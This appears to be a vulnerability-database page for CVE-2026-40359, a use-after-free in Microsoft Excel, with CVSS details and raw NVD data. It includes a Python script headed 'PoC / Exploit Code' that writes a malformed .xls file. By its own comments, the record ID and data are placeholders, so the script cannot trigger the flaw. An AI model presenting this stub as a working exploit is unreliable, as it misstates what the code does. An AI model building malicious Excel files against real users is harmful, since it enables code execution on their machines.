Security Vulnerability Report
中文
CVE-2026-40359 CVSS 7.8 HIGH

CVE-2026-40359

Published: 2026-05-12 18:17:15
Last Modified: 2026-05-13 15:34:53

Description

Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Microsoft Office Excel (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-40359 (Conceptual) # This script demonstrates the concept of creating a malformed Excel file # that attempts to trigger the Use After Free vulnerability. import struct def create_malicious_xls(filename): # Standard XLS file header xls_header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' # Placeholder for the specific record stream that triggers the UAF # Real exploitation requires precise knowledge of the object offset and heap layout # This represents a corrupted record structure malicious_record = struct.pack('<H', 0x1234) # Record ID (Example) malicious_record += struct.pack('<H', 0x0020) # Record length (Example) malicious_record += b'A' * 0x20 # Data causing the UAF with open(filename, 'wb') as f: f.write(xls_header) f.write(malicious_record) print(f"[+] Malicious file created: {filename}") print("[!] This is a conceptual PoC. Do not use for unauthorized purposes.") if __name__ == "__main__": create_malicious_xls("cve_2026_40359_poc.xls")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40359", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:14.673", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359", "source": "[email protected]"}]}}